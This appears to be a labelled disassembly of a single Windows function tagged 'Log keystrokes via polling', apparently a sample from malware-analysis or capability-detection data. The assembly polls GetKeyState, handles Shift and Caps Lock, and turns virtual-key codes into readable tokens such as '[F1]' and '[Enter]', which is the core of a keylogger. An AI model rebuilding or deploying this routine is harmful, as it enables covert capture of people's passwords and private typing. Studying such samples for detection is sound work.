Function at 0x40c1aa
Capabilities:
Log keystrokes via polling

Disassembly:
push 8
mov eax, 0x51e4a9
call fcn.005025fd
xor edi, edi
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push 0x55a843
mov ecx, esi
mov dword [ebp - 4], edi
call fcn.0040b45c
push 0x10
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], 1
call dword [sym.imp.USER32.dll_GetKeyState]
mov ebx, dword [ebp + 0xc]
cwde
mov ecx, SysReAllocString
and eax, ecx
cmp eax, ecx
sete cl
lea eax, [ebx - 0xba]
mov byte [ebp - 0xd], cl
cmp eax, 0x24
ja 0x40bdbc
mov eax, 0xbf
cmp ebx, eax
jg 0x40bd18
je 0x40bd00
mov eax, ebx
sub eax, 0xba
je 0x40bceb
dec eax
je 0x40bcd9
dec eax
je 0x40bcc7
dec eax
je 0x40bc71
dec eax
jne 0x40bdbc
test cl, cl
je 0x40bc5a
mov edi, 0x52ceb0
push edi
call fcn.00504590
pop ecx
push eax
push edi
mov ecx, esi
call fcn.0040a5da
mov edi, 0x52d04c
push edi
call fcn.00504590
pop ecx
push eax
push edi
mov ecx, esi
call fcn.0040a5da
cmp ebx, 0x41
jl 0x40c1ea
cmp ebx, 0x5a
jg 0x40c1ea
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, esi
test ax, ax
je 0x40c1d9
cmp byte [ebp - 0xd], 0
je 0x40c1e2
add bl, 0x20
movzx eax, bl
push eax
jmp 0x40c1e3
mov edi, 0x52d04c
push edi
call fcn.00504590
pop ecx
push eax
push edi
mov ecx, esi
call fcn.0040a5da
jmp 0x40bc0f
test cl, cl
je 0x40bcc0
mov edi, 0x52cf20
push edi
call fcn.00504590
pop ecx
push eax
push edi
mov ecx, esi
call fcn.0040a5da
lea eax, [ebx - 0x61]
cmp eax, 0x19
ja 0x40c149
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, esi
test ax, ax
je 0x40c133
cmp byte [ebp - 0xd], 0
je 0x40c13d
push ebx
push 1
call fcn.0040a4f2
jmp case.default.0x40c167
mov edi, 0x52d0d8
jmp 0x40bc7a
test cl, cl
je 0x40bcd2
mov edi, 0x52ceb4
jmp 0x40bc7a
mov edi, 0x52d050
jmp 0x40bc7a
test cl, cl
je 0x40bce4
mov edi, 0x52cf98
jmp 0x40bc7a
mov edi, 0x52d0d4
jmp 0x40bc7a
test cl, cl
je 0x40bcf6
mov edi, 0x52ced0
jmp 0x40bc7a
mov edi, 0x52d074
jmp 0x40bc7a
test cl, cl
je 0x40bd0e
mov edi, str.___NVCXZ_:LKJHGFAPOIUYTREWQ_______
jmp 0x40bc7a
mov edi, 0x52d048
jmp 0x40bc7a
mov eax, ebx
sub eax, 0xc0
je 0x40bd99
sub eax, 0x1b
je 0x40bd81
dec eax
je 0x40bd69
dec eax
je 0x40bd51
dec eax
jne 0x40bdbc
test cl, cl
je 0x40bd47
push 0x22
push 1
mov ecx, esi
call fcn.0040a4f2
jmp 0x40bc8a
mov edi, 0x52d070
jmp 0x40bc7a
test cl, cl
je 0x40bd5f
mov edi, 0x52cef0
jmp 0x40bc7a
mov edi, 0x52d09c
jmp 0x40bc7a
test cl, cl
je 0x40bd77
mov edi, 0x52d98c
jmp 0x40bc7a
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
jmp 0x40bc7a
test cl, cl
je 0x40bd8f
mov edi, 0x52cef4
jmp 0x40bc7a
mov edi, 0x52d0a0
jmp 0x40bc7a
test cl, cl
je 0x40bda7
mov edi, 0x52cf48
jmp 0x40bc7a
mov edi, 0x52d104
push edi
call fcn.00504590
pop ecx
push eax
push edi
mov ecx, esi
call fcn.0040a5da
cmp ebx, 0x1b
jne 0x40bddb
mov edi, str._Esc_
push edi
call fcn.00504590
pop ecx
push eax
push edi
mov ecx, esi
call fcn.0040a5da
jmp 0x40c1ea
cmp ebx, 0x70
jne 0x40bde7
mov edi, str._F1_
jmp 0x40bdc6
cmp ebx, 0x71
jne 0x40bdf3
mov edi, str._F2_
jmp 0x40bdc6
cmp ebx, 0x72
jne 0x40bdff
mov edi, str._F3_
jmp 0x40bdc6
cmp ebx, 0x73
jne 0x40be0b
mov edi, str._F4_
jmp 0x40bdc6
cmp ebx, 0x74
jne 0x40be17
mov edi, str._F5_
jmp 0x40bdc6
cmp ebx, 0x75
jne 0x40be23
mov edi, str._F6_
jmp 0x40bdc6
cmp ebx, 0x76
jne 0x40be2f
mov edi, str._F7_
jmp 0x40bdc6
cmp ebx, 0x77
jne 0x40be3b
mov edi, str._F8_
jmp 0x40bdc6
cmp ebx, 0x78
jne 0x40be4a
mov edi, str._F9_
jmp 0x40bdc6
cmp ebx, 0x79
jne 0x40be59
mov edi, str._F10_
jmp 0x40bdc6
cmp ebx, 0x7a
jne 0x40be68
mov edi, str._F11_
jmp 0x40bdc6
cmp ebx, 0x7b
jne 0x40be77
mov edi, 0x52d108
jmp 0x40bdc6
cmp ebx, 0x2c
jne 0x40be86
mov edi, str._PrScrn_
jmp 0x40bdc6
cmp ebx, 0x91
jne 0x40be98
mov edi, str._Scroll_Lock_
jmp 0x40bdc6
cmp ebx, 0x13
jne 0x40bea7
mov edi, str._Pause_
jmp 0x40bdc6
cmp ebx, 0x14
jne 0x40beb6
mov edi, str._Caps_Lock_
jmp 0x40bdc6
cmp ebx, 8
jne 0x40bec5
mov edi, str._Backspace_
jmp 0x40bdc6
cmp ebx, 0xd
jne 0x40bed4
mov edi, str._Enter__n
jmp 0x40bdc6
cmp ebx, 0x20
jne 0x40bee3
mov edi, 0x52d948
jmp 0x40bdc6
cmp ebx, 9
jne 0x40bef2
mov edi, str._Tab_
jmp 0x40bdc6
cmp ebx, 0xa2
jne 0x40bf04
mov edi, str._Ctrl_
jmp 0x40bdc6
cmp ebx, 0xa3
jne 0x40bf16
mov edi, str._CTRL_
jmp 0x40bdc6
cmp ebx, 0xa4
jne 0x40bf28
mov edi, str._Alt_
jmp 0x40bdc6
cmp ebx, 0x5b
jne 0x40bf37
mov edi, str._Win_
jmp 0x40bdc6
cmp ebx, 0x5c
jne 0x40bf46
mov edi, str._WIN_
jmp 0x40bdc6
cmp ebx, 0x5d
jne 0x40bf55
mov edi, 0x52d928
jmp 0x40bdc6
cmp ebx, 0x2d
jne 0x40bf64
mov edi, str._Insert_
jmp 0x40bdc6
cmp ebx, 0x2e
jne 0x40bf73
mov edi, str._Delete_
jmp 0x40bdc6
cmp ebx, 0x24
jne 0x40bf82
mov edi, str._Home_
jmp 0x40bdc6
cmp ebx, 0x23
jne 0x40bf91
mov edi, str._End_
jmp 0x40bdc6
cmp ebx, 0x21
jne 0x40bfa0
mov edi, str._PgUp_
jmp 0x40bdc6
cmp ebx, 0x22
jne 0x40bfaf
mov edi, str._PgDown_
jmp 0x40bdc6
cmp ebx, 3
jne 0x40bfbe
mov edi, str._Cancel_
jmp 0x40bdc6
cmp ebx, 0xc
jne 0x40bfcd
mov edi, str._Clear_
jmp 0x40bdc6
cmp ebx, 0x29
jne 0x40bfdc
mov edi, str._Select_
jmp 0x40bdc6
cmp ebx, 0x2a
jne 0x40bfeb
mov edi, str._Print_
jmp 0x40bdc6
cmp ebx, 0x2b
jne 0x40bffa
mov edi, str._Execute_
jmp 0x40bdc6
cmp ebx, 0x25
jne 0x40c009
mov edi, 0x52d8d8
jmp 0x40bdc6
cmp ebx, 0x27
jne 0x40c018
mov edi, 0x52d8d0
jmp 0x40bdc6
cmp ebx, 0x26
jne 0x40c027
mov edi, 0x52d8c8
jmp 0x40bdc6
cmp ebx, 0x28
jne 0x40c036
mov edi, 0x52d8c0
jmp 0x40bdc6
cmp ebx, 0x90
jne 0x40c048
mov edi, str._NumLock_
jmp 0x40bdc6
cmp ebx, 0x6b
jne 0x40c057
mov edi, 0x52cf98
jmp 0x40bdc6
cmp ebx, 0x6d
jne 0x40c066
mov edi, 0x52d0d8
jmp 0x40bdc6
cmp ebx, 0x6a
jne 0x40c075
mov edi, 0x52cf9c
jmp 0x40bdc6
cmp ebx, 0x6f
jne 0x40c084
mov edi, 0x52d048
jmp 0x40bdc6
cmp ebx, 0xbe
je 0x40bc0a
cmp ebx, 0x6e
je 0x40bc0a
cmp ebx, 0x60
jne 0x40c0a8
mov edi, 0x52d0dc
jmp 0x40bdc6
cmp ebx, 0x61
jne 0x40c0b7
mov edi, 0x52d100
jmp 0x40bdc6
cmp ebx, 0x62
jne 0x40c0c6
mov edi, 0x52d0fc
jmp 0x40bdc6
cmp ebx, 0x63
jne 0x40c0d5
mov edi, 0x52d0f8
jmp 0x40bdc6
cmp ebx, 0x64
jne 0x40c0e4
mov edi, 0x52d0f4
jmp 0x40bdc6
cmp ebx, 0x65
jne 0x40c0f3
mov edi, 0x52d0f0
jmp 0x40bdc6
cmp ebx, 0x66
jne 0x40c102
mov edi, 0x52d0ec
jmp 0x40bdc6
cmp ebx, 0x67
jne 0x40c111
mov edi, 0x52d0e8
jmp 0x40bdc6
cmp ebx, 0x68
jne 0x40c120
mov edi, 0x52d0e4
jmp 0x40bdc6
cmp ebx, 0x69
jne 0x40bc8a
mov edi, 0x52d0e0
jmp 0x40bdc6
cmp byte [ebp - 0xd], 0
je 0x40bcb3
lea eax, [ebx - 0x20]
movzx eax, al
push eax
jmp 0x40bcb4
lea eax, [ebx - 0x30]
cmp eax, 9
ja case.default.0x40c167
cmp byte [ebp - 0xd], 0
je 0x40c1d2
lea eax, [ebx - 0x30]
cmp eax, 9
ja case.default.0x40c167
jmp dword [eax*4 + 0x40c1f2]
mov edi, 0x52cf24
jmp 0x40bc0f
mov edi, 0x52cf44
jmp 0x40bc0f
mov edi, 0x52cf40
jmp 0x40bc0f
mov edi, 0x52cf3c
jmp 0x40bc0f
mov edi, 0x52cf38
jmp 0x40bc0f
mov edi, 0x52cf34
jmp 0x40bc0f
mov edi, 0x52cf30
jmp 0x40bc0f
mov edi, 0x52cf2c
jmp 0x40bc0f
mov edi, 0x52cf9c
jmp 0x40bc0f
mov edi, 0x52cf28
jmp 0x40bc0f
mov ecx, esi
jmp 0x40bcb3
cmp byte [ebp - 0xd], 0
jne 0x40c1e2
add ebx, 0x20
push ebx
push 1
call fcn.0040a4f2
mov eax, esi
call fcn.005026d5
ret